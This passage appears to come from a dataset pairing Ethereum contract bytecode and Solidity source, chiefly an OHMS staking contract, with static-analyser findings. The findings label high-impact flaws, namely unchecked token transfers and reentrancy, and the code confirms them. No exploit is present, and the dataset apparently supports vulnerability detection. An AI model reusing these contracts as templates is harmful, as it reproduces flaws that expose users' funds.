3a565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b600082198211156126b7576126b7612768565b500190565b6000826126d757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156126f6576126f6612768565b500290565b60008282101561270d5761270d612768565b500390565b60028104600182168061272657607f821691505b6020821081141561274757634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561276157612761612768565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610ae057600080fdfea26469706673582212202b00e7b5f1f701553389f2c2d216043c90510555fdd5b1d094eeffbbd0c4e0fe64736f6c63430008010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,393 |
0xed06cae60b8ef5ebbcc4e0759d4a34edb674e45b
|
/*
website: volts.finance
______ __
/ \ / |
/$$$$$$ |$$ |____ _____ ____ _______
$$ | $$ |$$ \ / \/ \ / |
$$ | $$ |$$$$$$$ |$$$$$$ $$$$ |/$$$$$$$/
$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ \
$$ \__$$ |$$ | $$ |$$ | $$ | $$ | $$$$$$ |
$$ $$/ $$ | $$ |$$ | $$ | $$ |/ $$/
$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/
OHMS staking contract of the Volts-Ecosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface OHMS {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256);
function tokenFromReflection(uint256 rAmount) external view returns(uint256);
}
contract Staking is Ownable {
struct User {
uint256 reflectionBalance;
uint256 paidReflection;
uint256 ohmsBalance;
}
address[] private userArray;
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public reflectionTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public scale = 1e18;
// init with 1 instead of 0 to avoid division by zero
uint256 public totalStakedReflection = 1;
uint256 public totalRewardReflection = 0;
uint256 public totalStakedToken = 1;
uint256 public totalOhmsReward = 0;
OHMS public ohms;
event Deposit(address user, uint256 amount);
event Restake(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _ohms, uint256 _rewardPerBlock) public {
ohms = OHMS(_ohms);
rewardPerBlock = _rewardPerBlock;
lastUpdatedBlock = block.number;
}
// Sets the rewards in OHMS per block
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
rewardPerBlock = _rewardPerBlock;
}
// Returns the amount of OHMS rewarded to stakers per block
function getRewardPerBlock() external view returns (uint256){
return rewardPerBlock;
}
// View function to see user's true OHMS balance including fees
function getUserDepositAmount(address _user) public view returns (uint256){
User storage user = users [_user];
return ohms.tokenFromReflection(user.reflectionBalance);
}
// View function to see a user's staked OHMS balance. i.e number of OHMS belonging to them in the contract that are currently earning rewards
function getActiveUserDepositAmount(address _user) public view returns (uint256){
User storage user = users [_user];
return user.ohmsBalance;
}
function getClaimableFees(address _user) external view returns (uint256){
uint256 total = getUserDepositAmount(_user);
uint256 staked = getActiveUserDepositAmount(_user);
return total.sub(staked);
}
// View function to return the total number of OHMS staked in the contract that are currently earning rewards
function getActiveTotalStaked() external view returns (uint256){
return totalStakedToken;
}
// View function to see true amount of OHMS staked in the contract in including fees
function getTotalStaked() external view returns (uint256){
return ohms.tokenFromReflection(totalStakedReflection);
}
// View function to get the amount staked in the contract in reflections.
function getTotalStakedReflection() external view returns (uint256){
return totalStakedReflection;
}
// View function to get the remaining reward balance in the contract in OHMS.
function getTotalRemainingReward() external view returns (uint256){
return ohms.tokenFromReflection(totalRewardReflection);
}
// View function to get the remaining reward balance in the contract in reflections.
function getTotalRewardReflection() external view returns (uint256){
return totalRewardReflection;
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
totalOhmsReward = totalOhmsReward.add(rewardAmount);
uint256 reflectionRewardAmount = ohms.reflectionFromToken(rewardAmount, false).div(1000);
reflectionTillNowPerToken = reflectionTillNowPerToken.add(reflectionRewardAmount.div(totalStakedToken));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accReflectionPerToken = reflectionTillNowPerToken;
if (block.number > lastUpdatedBlock) {
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
uint256 reflectionRewardAmount = (ohms.reflectionFromToken(rewardAmount, false)).div(1000);
accReflectionPerToken = accReflectionPerToken.add(reflectionRewardAmount.div(totalStakedToken));
}
return ohms.tokenFromReflection((user.ohmsBalance.mul(accReflectionPerToken).sub(user.paidReflection)).mul(1000));
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
userArray.push(address(msg.sender));
if (user.ohmsBalance > 0) {
uint256 _pendingReflection = (user.ohmsBalance.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(totalRewardReflection.sub(_pendingReflection) > 0){
if(_ohmsReward > 0){
totalRewardReflection = totalRewardReflection.sub(_pendingReflection);
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
}
}
uint256 reflectionAmount = ohms.reflectionFromToken(amount, true);
if(amount > 0){
user.reflectionBalance = user.reflectionBalance.add(reflectionAmount);
totalStakedReflection = totalStakedReflection.add(reflectionAmount);
ohms.transferFrom(address(msg.sender), address(this), amount);
emit Deposit(msg.sender, amount);
}
activate();
user.paidReflection = user.ohmsBalance.mul(reflectionTillNowPerToken);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.reflectionBalance >= ohms.reflectionFromToken(amount, false), "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReward = (user.ohmsBalance.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReward);
if(totalRewardReflection > _pendingReward){
if(_ohmsReward > 0){
totalRewardReflection = totalRewardReflection.sub(_pendingReward);
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
}
uint256 reflectionAmount = ohms.reflectionFromToken(amount, false);
if (amount > 0) {
user.reflectionBalance = user.reflectionBalance.sub(reflectionAmount);
totalStakedReflection = totalStakedReflection.sub(reflectionAmount);
ohms.transfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
}
activate();
user.paidReflection = user.ohmsBalance.mul(reflectionTillNowPerToken);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
totalStakedReflection = totalStakedReflection.sub(user.reflectionBalance);
uint256 ohmsAmount = ohms.tokenFromReflection(user.reflectionBalance);
ohms.transfer(address(msg.sender), ohmsAmount);
emit EmergencyWithdraw(msg.sender, ohmsAmount);
user.reflectionBalance = 0;
user.paidReflection = 0;
user.ohmsBalance = 0;
}
// Send OHMS rewards to the contract for staking
function sendRewards(uint256 amount) public {
ohms.transferFrom(address(msg.sender), address(this), amount);
uint256 reflectionAmount = ohms.reflectionFromToken(amount, true);
totalRewardReflection = totalRewardReflection.add(reflectionAmount);
}
function restakeRewards() public {
User storage user = users[msg.sender];
update();
uint256 _pendingReward = (user.ohmsBalance.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
if(totalRewardReflection > _pendingReward){
user.reflectionBalance = user.reflectionBalance.add(_pendingReward);
totalStakedReflection = totalStakedReflection.add(_pendingReward);
totalRewardReflection = totalRewardReflection.sub(_pendingReward);
emit Restake(msg.sender, ohms.tokenFromReflection(_pendingReward));
}
activate();
user.paidReflection = user.ohmsBalance.mul(reflectionTillNowPerToken);
}
function activate() public {
User storage user = users[msg.sender];
uint256 trueOhmsBalance = ohms.tokenFromReflection(user.reflectionBalance);
if(trueOhmsBalance >= user.ohmsBalance){
uint256 difference = trueOhmsBalance.sub(user.ohmsBalance);
totalStakedToken = totalStakedToken.add(difference);
}
else {
uint256 difference = user.ohmsBalance.sub(trueOhmsBalance);
totalStakedToken = totalStakedToken.sub(difference);
}
user.ohmsBalance = trueOhmsBalance;
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063a87430ba1161010f578063db2e21bc116100a2578063f2fde38b11610071578063f2fde38b146103dc578063f40f0f5214610402578063f51e181a14610428578063f90ce5ba14610430576101e5565b8063db2e21bc146103bc578063e25403a7146103c4578063e334924a146103cc578063e9f769ba146103d4576101e5565b8063bb872b4a116100de578063bb872b4a14610369578063cb6d8ee614610386578063cd80d3501461038e578063d5ac87d0146103b4576101e5565b8063a87430ba146102e3578063ada07fa014610327578063b678ef7f14610344578063b6b55f251461034c576101e5565b806349df8d33116101875780638da5cb5b116101565780638da5cb5b146102c35780638e968a0b146102cb57806390dc682f146102d3578063a2e62045146102db576101e5565b806349df8d33146102855780636a6f66e61461028d578063715018a6146102b35780638ae39cac146102bb576101e5565b80630f15f4c0116101c35780630f15f4c014610232578063217b50ec1461023c5780632e1a7d4d146102605780633d8527ba1461027d576101e5565b806306189237146101ea5780630917e776146102045780630cec2a761461020c575b600080fd5b6101f2610438565b60408051918252519081900360200190f35b6101f261043e565b6101f26004803603602081101561022257600080fd5b50356001600160a01b03166104be565b61023a610550565b005b610244610648565b604080516001600160a01b039092168252519081900360200190f35b61023a6004803603602081101561027657600080fd5b5035610657565b61023a610a48565b6101f2610ba6565b6101f2600480360360208110156102a357600080fd5b50356001600160a01b0316610bac565b61023a610bd9565b6101f2610c8d565b610244610c93565b6101f2610ca2565b6101f2610cf1565b61023a610cf7565b610309600480360360208110156102f957600080fd5b50356001600160a01b0316610df2565b60408051938452602084019290925282820152519081900360600190f35b61023a6004803603602081101561033d57600080fd5b5035610e12565b6101f2610f2e565b61023a6004803603602081101561036257600080fd5b5035610f34565b61023a6004803603602081101561037f57600080fd5b50356112b8565b6101f261136c565b6101f2600480360360208110156103a457600080fd5b50356001600160a01b0316611372565b6101f2611391565b61023a611397565b6101f2611504565b6101f261150a565b6101f2611510565b61023a600480360360208110156103f257600080fd5b50356001600160a01b0316611516565b6101f26004803603602081101561041857600080fd5b50356001600160a01b0316611620565b6101f2611785565b6101f261178b565b60085481565b600b5460075460408051632d83811960e01b81526004810192909252516000926001600160a01b031691632d838119916024808301926020929190829003018186803b15801561048d57600080fd5b505afa1580156104a1573d6000803e3d6000fd5b505050506040513d60208110156104b757600080fd5b5051905090565b6001600160a01b038082166000908152600260209081526040808320600b5481548351632d83811960e01b81526004810191909152925194959194911692632d8381199260248082019391829003018186803b15801561051d57600080fd5b505afa158015610531573d6000803e3d6000fd5b505050506040513d602081101561054757600080fd5b50519392505050565b336000908152600260209081526040808320600b5481548351632d83811960e01b8152600481019190915292519194936001600160a01b0390911692632d8381199260248083019392829003018186803b1580156105ad57600080fd5b505afa1580156105c1573d6000803e3d6000fd5b505050506040513d60208110156105d757600080fd5b50516002830154909150811061061957600061060083600201548361179190919063ffffffff16565b60095490915061061090826117dc565b60095550610640565b600282015460009061062b9083611791565b60095490915061063b9082611791565b600955505b600290910155565b600b546001600160a01b031681565b336000908152600260209081526040808320600b548251634549b03960e01b8152600481018790526024810195909552915190936001600160a01b0390921692634549b0399260448082019391829003018186803b1580156106b857600080fd5b505afa1580156106cc573d6000803e3d6000fd5b505050506040513d60208110156106e257600080fd5b5051815410156107235760405162461bcd60e51b81526004018080602001828103825260288152602001806119d26028913960400191505060405180910390fd5b61072b610cf7565b60006107606103e861075a8460010154610754600354876002015461183690919063ffffffff16565b90611791565b90611836565b600b5460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b1580156107b257600080fd5b505afa1580156107c6573d6000803e3d6000fd5b505050506040513d60208110156107dc57600080fd5b50516008549091508210156108bd5780156108bd576008546107fe9083611791565b600855600b546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d602081101561087f57600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b600b5460408051634549b03960e01b815260048101879052600060248201819052915191926001600160a01b031691634549b03991604480820192602092909190829003018186803b15801561091257600080fd5b505afa158015610926573d6000803e3d6000fd5b505050506040513d602081101561093c57600080fd5b505190508415610a205783546109529082611791565b84556007546109619082611791565b600755600b546040805163a9059cbb60e01b81523360048201526024810188905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156109b857600080fd5b505af11580156109cc573d6000803e3d6000fd5b505050506040513d60208110156109e257600080fd5b5050604080513381526020810187905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b610a28610550565b6003546002850154610a3991611836565b84600101819055505050505050565b336000908152600260205260409020610a5f610cf7565b6000610a886103e861075a8460010154610754600354876002015461183690919063ffffffff16565b9050806008541115610b81578154610aa090826117dc565b8255600754610aaf90826117dc565b600755600854610abf9082611791565b600855600b5460408051632d83811960e01b81526004810184905290517f4fe526a50bbc264f1931b4baa4bc8f2bb80e72c36bb8c57802d4a7c1bfd09e2b9233926001600160a01b0390911691632d83811991602480820192602092909190829003018186803b158015610b3257600080fd5b505afa158015610b46573d6000803e3d6000fd5b505050506040513d6020811015610b5c57600080fd5b5051604080516001600160a01b03909316835260208301919091528051918290030190a15b610b89610550565b6003546002830154610b9a91611836565b82600101819055505050565b60055490565b600080610bb8836104be565b90506000610bc584611372565b9050610bd18282611791565b949350505050565b610be161188f565b6000546001600160a01b03908116911614610c43576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60055481565b6000546001600160a01b031690565b600b5460085460408051632d83811960e01b81526004810192909252516000926001600160a01b031691632d838119916024808301926020929190829003018186803b15801561048d57600080fd5b60075490565b6004544311610d0557610df0565b6000610d20600554600454430361183690919063ffffffff16565b600a54909150610d3090826117dc565b600a55600b5460408051634549b03960e01b81526004810184905260006024820181905291519192610dc3926103e8926001600160a01b0390921691634549b039916044808301926020929190829003018186803b158015610d9157600080fd5b505afa158015610da5573d6000803e3d6000fd5b505050506040513d6020811015610dbb57600080fd5b505190611893565b9050610de6610ddd6009548361189390919063ffffffff16565b600354906117dc565b6003555050436004555b565b600260208190526000918252604090912080546001820154919092015483565b600b54604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b505050506040513d6020811015610e9657600080fd5b5050600b5460408051634549b03960e01b8152600481018490526001602482015290516000926001600160a01b031691634549b039916044808301926020929190829003018186803b158015610eeb57600080fd5b505afa158015610eff573d6000803e3d6000fd5b505050506040513d6020811015610f1557600080fd5b5051600854909150610f2790826117dc565b6008555050565b60075481565b336000908152600260205260409020610f4b610cf7565b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319163317905560028101541561112b576000610fbf6103e861075a8460010154610754600354876002015461183690919063ffffffff16565b600b5460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b15801561101157600080fd5b505afa158015611025573d6000803e3d6000fd5b505050506040513d602081101561103b57600080fd5b50516008549091506000906110509084611791565b1115611128578015611128576008546110699083611791565b600855600b546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b50505b600b5460408051634549b03960e01b8152600481018590526001602482015290516000926001600160a01b031691634549b039916044808301926020929190829003018186803b15801561117e57600080fd5b505afa158015611192573d6000803e3d6000fd5b505050506040513d60208110156111a857600080fd5b5051905082156112925781546111be90826117dc565b82556007546111cd90826117dc565b600755600b54604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561122a57600080fd5b505af115801561123e573d6000803e3d6000fd5b505050506040513d602081101561125457600080fd5b5050604080513381526020810185905281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a15b61129a610550565b60035460028301546112ab91611836565b8260010181905550505050565b6112c061188f565b6000546001600160a01b03908116911614611322576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61132a610cf7565b600554604080519182526020820183905280517f79a5349732f93288abbb68e251c3dfc325bf3ee6fde7786d919155d39733e0f59281900390910190a1600555565b60095481565b6001600160a01b03166000908152600260208190526040909120015490565b60085490565b33600090815260026020526040902080546007546113b491611791565b600755600b54815460408051632d83811960e01b81526004810192909252516000926001600160a01b031691632d838119916024808301926020929190829003018186803b15801561140557600080fd5b505afa158015611419573d6000803e3d6000fd5b505050506040513d602081101561142f57600080fd5b5051600b546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561148857600080fd5b505af115801561149c573d6000803e3d6000fd5b505050506040513d60208110156114b257600080fd5b5050604080513381526020810183905281517f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695929181900390910190a150600080825560018201819055600290910155565b60035481565b600a5481565b60095490565b61151e61188f565b6000546001600160a01b03908116911614611580576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166115c55760405162461bcd60e51b81526004018080602001828103825260268152602001806119fa6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526002602052604081206003546004544311156116e8576000611660600554600454430361183690919063ffffffff16565b600b5460408051634549b03960e01b815260048101849052600060248201819052915193945090926116c2926103e8926001600160a01b0390911691634549b03991604480820192602092909190829003018186803b158015610d9157600080fd5b90506116e36116dc6009548361189390919063ffffffff16565b84906117dc565b925050505b600b54600183015460028401546001600160a01b0390921691632d8381199161171d916103e89161075a916107549088611836565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561175157600080fd5b505afa158015611765573d6000803e3d6000fd5b505050506040513d602081101561177b57600080fd5b5051949350505050565b60065481565b60045481565b60006117d383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d5565b90505b92915050565b6000828201838110156117d3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082611845575060006117d6565b8282028284828161185257fe5b04146117d35760405162461bcd60e51b8152600401808060200182810382526021815260200180611a206021913960400191505060405180910390fd5b3390565b60006117d383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196c565b600081848411156119645760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611929578181015183820152602001611911565b50505050905090810190601f1680156119565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119bb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611929578181015183820152602001611911565b5060008385816119c757fe5b049594505050505056fe776974686472617720616d6f756e742065786365656473206465706f736974656420616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d8a2bc465e1253e8bb2fa2d59e741f8f3d529b910bb031af5e18a90aa581fd3264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,394 |
0xE8FAD37822A9c983BDb567ac2616423080F3a0f8
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
function burn(uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
